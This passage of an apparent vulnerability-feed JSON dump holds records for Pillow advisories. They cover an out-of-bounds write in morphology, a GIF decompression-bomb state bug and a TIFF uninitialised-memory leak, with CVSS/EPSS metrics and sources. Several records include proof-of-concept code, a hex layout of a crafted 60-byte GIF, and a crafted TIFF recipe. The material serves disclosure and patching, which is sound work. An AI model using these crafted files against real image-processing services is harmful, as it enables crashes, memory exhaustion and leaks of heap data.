supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-qw47-mcm5-934w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-qw47-mcm5-934w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-qw47-mcm5-934w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-qw47-mcm5-934w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-qw47-mcm5-934w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-qw47-mcm5-934w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-qw47-mcm5-934w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-qw47-mcm5-934w, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-qw47-mcm5-934w, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-111764","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111764","type":"primary","publishedAt":"2026-10-20T16:17:00.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111764&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111764, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112397","cveId":"CVE-2026-112397","aliases":["GHSA-58r4-6rv3-gfh8"],"kind":"vulnerability","title":"Pillow: Out-of-bounds access in _imagingmorph on a zero-width image","summary":"- `src/PIL/PpmImagePlugin.py:119`\n\nThe native `apply()` writes the row edges with no guard that the width is positive:","detail":"### Summary\nA PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.\n\n### Details\nThe PPM parser reads width and height with no lower-bound check:\n\n- `src/PIL/PpmImagePlugin.py:119`\n\nThe native `apply()` writes the row edges with no guard that the width is positive:\n\n- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`\n\n`match()` and `get_on_pixels()` use the same edge-indexing pattern.\n\n### PoC\n```python\nfrom PIL import Image, ImageMorph\n\n# A width-0 image (also producible from a crafted PPM header). apply() indexes\n# outrow[width - 1] == outrow[-1] in native code.\nim = Image.new(\"L\", (0, 5))\nImageMorph.MorphOp(op_name=\"dilation4\").apply(im)\n```\n\nRun it:\n```\n$ python 03_poc.py\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96`.\n\nUnder AddressSanitizer:\n```\n==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)\n #0 apply src/_imagingmorph.c:81\nSUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply\n```\nWith width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.\n\n### Impact\nOut-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.\n\nAffected package ranges reported by GitHub:\nPillow: <= 12.3.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:56:22.000Z","updatedAt":"2026-10-20T20:56:23.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-58r4-6rv3-gfh8","asOf":"2026-10-20T20:56:23.000Z"},"epss":{"probability":0.00493,"percentile":0.42063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112397&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-58r4-6rv3-gfh8","url":"https://github.com/advisories/GHSA-58r4-6rv3-gfh8","type":"primary","publishedAt":"2026-10-20T20:56:22.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-58r4-6rv3-gfh8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-58r4-6rv3-gfh8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-58r4-6rv3-gfh8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-58r4-6rv3-gfh8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-58r4-6rv3-gfh8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-58r4-6rv3-gfh8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-58r4-6rv3-gfh8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-58r4-6rv3-gfh8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-58r4-6rv3-gfh8, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112397","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112397","type":"primary","publishedAt":"2026-10-19T22:17:06.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112397&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112397, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112400","cveId":"CVE-2026-112400","aliases":["GHSA-65qm-jvmh-6pqg"],"kind":"vulnerability","title":"Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS","summary":"```\n============================================================================\nGIF seek keeps rejected size after DecompressionBombError, allowing DoS\nLocation: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.","detail":"```\n============================================================================\nGIF seek keeps rejected size after DecompressionBombError, allowing DoS\nLocation: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.\n\nThe bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.\n\nIn the attached reproducer, the rejected size is 40000×40000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size.\n\nThe default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.\n\n## Details\n\n`GifImageFile._seek()` lets a later frame enlarge the image, and performs the\ndecompression-bomb check for the new size only *after* storing it on the object:\n\n```python\n# src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek)\nx0, y0 = i16(s, 0), i16(s, 2)\nx1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\nif (x1 > self.size[0] or y1 > self.size[1]) and update_image:\n self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated\n Image._decompression_bomb_check(self._size) # ...then validated\n```\n\n`_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises\n`DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS`\n(178 956 970 px by default), but by then `self._size` already holds the rejected\nvalue and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls\nback on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the\napplication still holds therefore reports `im.size == (40000, 40000)` while\n`im.im` is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a\nfew lines further down in the same function (`GifImagePlugin.py:383` and `:407`),\nwhich call `_decompression_bomb_check(dispose_size)` *before* the corresponding\n`Image.core.fill()`, and `TiffImagePlugin.load_prepare()`\n(`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before\nallocating from it.\n\nWith this 60-byte GIF (hex)\n\n```\n47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette\n2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data\n2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0)\n2c000000000100010000 02 024401 00 another 1x1 frame\n3b trailer\n```\n\n`Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises\n`DecompressionBombError: Image size (1600000000 pixels) exceeds limit of\n178956970 pixels`, and afterwards `im.size == (40000, 40000)`,\n`im.im.size == (1, 1)`, `im.tell() == 0`.\n\nWhat happens next depends on what the application does with the object, but\nseveral ordinary operations take their dimensions from `im.size` rather than\nfrom the C buffer:\n\n- Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the\n file pointer just past the 9-byte descriptor, so the retry parses whatever\n follows — in the file above, a valid 1×1 frame — and succeeds. `im.load()`\n then runs `GifImageFile.load_prepare()`:\n ```python\n # src/PIL/GifImagePlugin.py:452-456\n elif self.mode in (\"RGB\", \"RGBA\"):\n self._prev_im = self.im\n if self._frame_palette:\n self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0)\n ```\n which allocates and `memset`s a 40000×40000 \"P\" image (1.6 GB) to decode a\n 1×1 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second\n one and converts it to RGB (another 1.6 GB + 6.4 GB).\n- `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the\n common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate\n from `im.size` as well (measured on an object poisoned to 20000×20000:\n `rotate(45, expand=True)` completes and touches 776 MiB;\n `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass\n `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`)\n fail with `ValueError`/`SystemError` instead.\n\nThe extent fields are 16-bit offset plus 16-bit size, so the stored size can be\npushed to 131070×131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\"\nstorage), 96× the error threshold.\n\n`n_frames` / `is_animated` are not affected: they call\n`_seek(frame, update_image=False)`, which skips the `_size` assignment (the file\nabove reports `n_f\n\nAffected package ranges reported by GitHub:\nPillow: >= 9.2.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T20:53:36.000Z","updatedAt":"2026-10-20T20:53:38.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-65qm-jvmh-6pqg","asOf":"2026-10-20T20:53:38.000Z"},"epss":{"probability":0.00512,"percentile":0.43362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112400&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-65qm-jvmh-6pqg","url":"https://github.com/advisories/GHSA-65qm-jvmh-6pqg","type":"primary","publishedAt":"2026-10-20T20:53:36.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-65qm-jvmh-6pqg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-65qm-jvmh-6pqg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-65qm-jvmh-6pqg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-65qm-jvmh-6pqg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-65qm-jvmh-6pqg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-65qm-jvmh-6pqg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-65qm-jvmh-6pqg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-65qm-jvmh-6pqg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-65qm-jvmh-6pqg, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112400","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112400","type":"primary","publishedAt":"2026-10-19T22:17:07.367Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112400&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112400, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112897","cveId":"CVE-2026-112897","aliases":["GHSA-q45j-58j2-45rg"],"kind":"vulnerability","title":"Pillow: TiffDecode returns uninitialized memory as pixels for short JPEG strips","summary":"```\n============================================================================\nTiffDecode returns uninitialized memory as pixels for short JPEG strips\nLocation: src/libImaging/TiffDecode.c:554 in _decodeStrip()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content.","detail":"```\n============================================================================\nTiffDecode returns uninitialized memory as pixels for short JPEG strips\nLocation: src/libImaging/TiffDecode.c:554 in _decodeStrip()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content.\n\nThe bug is in `_decodeStrip()` in `src/libImaging/TiffDecode.c`, and `_decodeTile()` has the same shape. The function `realloc()`s `state->buffer` to `TIFFStripSize()` bytes without initialising it and calls `TIFFReadEncodedStrip()`. Whenever that call does not return -1, it copies all `RowsPerStrip` rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early.\n\nThe attached reproducer builds a 256×256 TIFF whose single strip or tile is a 256×8 JPEG. Before loading it, the script frees buffers filled with `b\"LEAK\"`. It then finds 15,872 copies of `LEAK` in rows 8–255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's `MALLOC_PERTURB_`, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases.\n\nThis is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width × `RowsPerStrip` bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c (\"Add reading old-JPEG compressed TIFFs\", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0).\n\n## Details\n\n`src/libImaging/TiffDecode.c` decodes compressed TIFFs through libtiff into a strip\n(or tile) buffer that it `realloc()`s to `TIFFStripSize()` bytes and never initialises, and\nthen copies all `RowsPerStrip` rows of that buffer into the image whenever\n`TIFFReadEncodedStrip()` does not return -1. libtiff's JPEG codec does not fail when the\nJPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist\nand returns the full strip size. The rows it did not write are whatever the heap held\nbefore, and Pillow returns them as pixels.\n\nA 478-byte file shows it: a classic little-endian TIFF, 256×256, `BitsPerSample=8`,\n`Compression=7`, `PhotometricInterpretation=1`, `RowsPerStrip=256`, one strip whose data\nis a baseline JPEG of 256×**8** pixels (as written by `Image.new(\"L\",(256,8),200).save(…,\"JPEG\")`).\n`Image.open(BytesIO(data)).load()` succeeds with default settings (compressed TIFFs always\ntake the libtiff path). Rows 0–7 of the result are the JPEG content (value 200); the\nremaining 63488 bytes of `im.tobytes()` are heap garbage: run under glibc's\n`MALLOC_PERTURB_=1` they are all `0xFE`, under `MALLOC_PERTURB_=170` all `0x55` (the\nfresh-`malloc` fill byte), and in a process that has just freed buffers containing\n`b\"LEAK\"` they contain 15872 copies of `LEAK`.\n\nFeeding the same file to libtiff 4.5.0 directly confirms the library side:\n`TIFFReadEncodedStrip(t, 0, buf, 65536)` prints\n`JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.`,\nreturns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs\n`TIFFSetWarningHandler(NULL)` (`TiffDecode.c:682`), so the warning is not visible either.\n\nThe strip path:\n\n```c\n// src/libImaging/TiffDecode.c:552\n /* realloc to fit whole strip */\n /* malloc check above */\n new_data = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize()\n …\n state->buffer = new_data;\n\n for (; state->y ysize; state->y += rows_per_strip) {\n …\n if (TIFFReadEncodedStrip(\n tiff,\n TIFFComputeStrip(tiff, state->y, plane),\n (tdata_t)state->buffer,\n strip_size\n ) == -1) {\n … return -1;\n }\n …\n // iterate over each row in the strip and stuff data into image\n for (strip_row = 0;\n strip_row ysize - state->y);\n strip_row++) {\n …\n shuffler(\n (UINT8 *)im->image[state->y + state->yoff + strip_row] +\n state->xoff * im->pixelsize,\n state->buffer + strip_row * row_byte_size,\n state->xsize\n );\n```\n\n`state->buffer` arrives here as the one-row `calloc` made by `decode.c:230`\n(`(bits*xsize+7)/8` = 256 bytes for the example). The `realloc` to 65536 bytes hands back\na different, uninitialised chunk; nothing zeroes it. `TIFFReadEncodedStrip()` returns the\nnominal strip size on success, not the number of rows produced, and the only check is\n`== -1`, so the row loop unconditionally copies 256 rows × 256 bytes into `im->image`\n(which itself is zeroed by 